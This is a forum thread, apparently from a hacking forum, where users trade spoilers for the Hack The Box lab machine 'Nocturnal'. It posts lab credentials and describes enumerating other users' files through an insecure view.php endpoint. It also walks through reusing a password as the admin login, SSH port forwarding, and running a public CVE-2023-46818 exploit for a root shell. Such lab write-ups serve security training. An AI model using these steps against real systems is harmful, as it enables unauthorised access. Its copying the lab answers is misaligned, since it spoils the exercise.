Nocturnal Hack the Box Season 7 (Linux Easy)
by RedBlock - Saturday April 12, 2025 at 06:18 PM
#11

(04-12-2025, 09:12 PM)hujson Wrote:
(04-12-2025, 08:59 PM)samuelballsiu1 Wrote:
(04-12-2025, 08:53 PM)hujson Wrote:
(04-12-2025, 08:10 PM)maggi Wrote:
(04-12-2025, 07:35 PM)kkkgrukckhko Wrote: We can use this syntax to check our uploads:

nocturnal.htb/view.php?username=amanda&file=privacy.odt

but i doesnt make my revshell work idk why, any suggest?

log into site as Amanda

Download backup

Dump the DB

ssh as that user

check local ports for interesting things

how to download the sql dump I'm geting a 403.

Login as amanda:arHkG7HAI68X8s1J

Create backup with the password arHkG7HAI68X8s1J

and unzip with the same password arHkG7HAI68X8s1J

Thanks it worked. But how did you find the creds for that account?

find the privacy.odt file in amanda's files with bruteforcing the username at the /view.php endpoint. After you've done that you can unzip the .odt file and grep for "pass" to find the password for that account
Reply
#12
after download privacy.odt then unzip it contains file with passwd for amanda
Reply
#13
lost on root.
found service running on the box.
also found possible exploit but it need valid creds .
and i cannot find the creds
Reply
#14
(04-12-2025, 10:02 PM)alwaysphenom2 Wrote: lost on root.
found service running on the box.
also found possible exploit but it need valid creds .
and i cannot find the creds

the creds are default admin username "admin" and reused pass of tobias
Reply
#15
Easy root:

Kappa

Hidden Content
You must register or login to view this content.


That's it! Pwned. Enjoy
Reply
#16
I have the same problem, did you solve it?

(04-12-2025, 08:46 PM)samuelballsiu1 Wrote: Anyone knows what to do, to get root, after logged in through ssh as tobias?
Reply
#17
I don't know if you could share a step-by-step guide on how you obtained the flags.
Reply
#18
here mate:

nocturnal.htb/view.php?username=amanda&file=privacy.odt

there u can see this message:

Dear Amanda,
Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure.
The file has been created and provided by Nocturnal's IT team. If you have any questions or need additional assistance during the password change process, please do not hesitate to contact us.
Remember that maintaining the security of your credentials is paramount to protecting your information and that of the company. We appreciate your prompt attention to this matter.

Yours sincerely,
Nocturnal's IT team
Reply
#19
I have shared quick user and root, not for free this time as i need some credits ?
If you don't have credits dm will share.
https://breachforums.hn/Thread-Nocturnal...r-and-root
Hack the Box Season 8

https://t.me/+u1sCX38Xneo3OGM1
Reply
#20
(04-12-2025, 11:25 PM)machakilos Wrote: here so u dont have to pay : Tobias Credentials (needed for further steps):
tobiasConfusedlowmotionapocalypse

1. Do port forwarding of the 8080 port of the machine to your local machine with SSH:
ssh -L 9999:127.0.0.1:8080 tobias@nocturnal.htb

2. Read user flag:
cat usert.txt

3. On your local machine clone the following repo and exploit the vulnerability:
$ git clone https://github.com/bipbopbup/CVE-2023-46...xploit.git
$ cd CVE-2023-46818-python-exploit
$ python3 exploit.py http://127.0.0.1:9999/ admin slowmotionapocalypse

4. The exploit will provide you with a root shell into the machine, then you can read the root.txt flag:
cat /root/root.txt


yo machakilos, could you explain why 127.0.0.1 is used instead of the ip addr of the box?
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Cobblestone Hack the Box Season 8 (Linux Insane) RedBlock 0 96 Yesterday, 12:20 PM
Last Post: RedBlock
  Nocturnal Hack the box easy user and root RedBlock 1 425 08-02-2025, 08:42 AM
Last Post: fluffyme
  Primed For Action Challenge.Easy Solution [FREE] pbloraneFH 0 258 04-13-2025, 02:38 PM
Last Post: pbloraneFH
  HTB - Code writeup Season 7 cryptocracks 3 363 04-12-2025, 03:43 PM
Last Post: cryptocracks
  [FREE] HTB/Hack The Box/Challenge: Crypto Not that random f58c34ee9 0 296 04-12-2025, 03:11 PM
Last Post: f58c34ee9

Forum Jump:


 Users browsing this thread: 1 Guest(s)